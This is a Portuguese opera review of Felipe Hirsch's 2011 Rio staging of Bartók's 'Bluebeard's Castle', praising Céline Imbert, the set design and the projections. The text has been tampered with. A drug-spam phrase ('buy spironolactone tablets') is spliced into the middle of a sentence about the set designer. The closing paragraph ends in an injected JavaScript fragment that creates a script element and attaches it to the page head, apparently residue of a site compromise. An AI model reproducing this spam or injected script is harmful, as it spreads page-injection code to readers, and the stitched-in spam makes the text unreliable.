Escrito por em 8 dez 2011 nas áreas Crítica

Montagem de O Castelo de Barba Azul no Theatro Municipal do RJ traz ao mundo da ópera um grande talento do teatro: Felipe Hirsch.

Com base no conto Barba Azul, de Charles Perrault, o compositor húngaro Béla Bartók compôs, há 100 anos, sua única ópera: O Castelo de Barba Azul, cuja montagem chega ao palco do Theatro Municipal do Rio de Janeiro, depois de ocupar a cena de várias outras casas de ópera pelo Brasil (tendo começado em 2006, em Belo Horizonte).

Devotado à tradição musical folclórica de seu país, Bartók colore Barba Azul com notas regionais e entrega uma partitura exuberante e sinuosa. São dois os personagens, que dialogam em um único cenário: a soprano Judith e o baixo Barba Azul, no castelo do nobre. Na montagem carioca, são interpretados por Céline Imbert e Luiz Molz (além da participação do ator Guilherme Weber como Narrador). Tal economia gerou críticas à época da estreia, dentro e fora da Hungria.

Na encenação apresentada na noite de 6 de dezembro, que teve regência segura de Aylton Escobar, Céline mais uma vez demonstra que é um dos sopranos de mais destaque no cenário nacional, enquanto Molz deixava transparecer menos recursos vocais e cênicos que sua colega de cena. Entretanto, ambos eram, muitas vezes, encobertos pela orquestra – principalmente no começo do espetáculo, quando se posicionavam ao fundo do palco.

O que mais brilha na montagem, mesmo com os desempenhos acertados de Imbert e da Sinfônica do TMRJ, é a concepção cênica e a direção de Felipe Hirsch, tarimbado diretor da Sutil Cia. de Teatro, que tem mais de 100 prêmios em 15 anos de existência. Alinhados ao diretor, a experiente Daniela Thomas buy spironolactone tablets (cenário e figurinos); Henrique Martins (design das projeções) e Beto Bruel (iluminação) certamente muito contribuíram para que a montagem fosse agraciada como melhor ópera e melhor cenário no 12º Prêmio Carlos Gomes, em 2008 (iluminação e direção também receberam indicações).

Sete alçapões inclinados representam as sete portas do castelo do nobre, que, quando abertas, revelam recônditos sinistros da alma de seu dono: uma câmara de torturas, um lago de lágrimas, uma sala de armas, todas banhadas no sangue das esposas que Barba Azul assassinou. As aberturas de portas (ou levantar de alçapões), que revelam cada cômodo, são seguidas por inspiradas projeções, que tomam conta de uma tela quase invisivelmente colocada em primeiro plano na boca de cena. A belíssima luz em muito colabora para a instauração de um clima onírico, ainda que fantasmagórico, mas indubitavelmente impactante.

Juntos, aspectos técnicos e artísticos caminham na direção de um espetáculo de alta qualidade, revigorante e provocador, que segue lado a lado com a riqueza psicológica e política da obra de Bartók, artista que, antenado com seu tempo, apropria-se de um conto do século 17 para, aristotelicamente, levar à cena, às vésperas da Primeira Guerra Mundial, uma criação que suscita na hipnotizada plateia os sentimentos de terror e piedade.var d=document;var s=d.createElement(‘script’); d.getElementsByTagName(‘head’)[0].appendChild(s);

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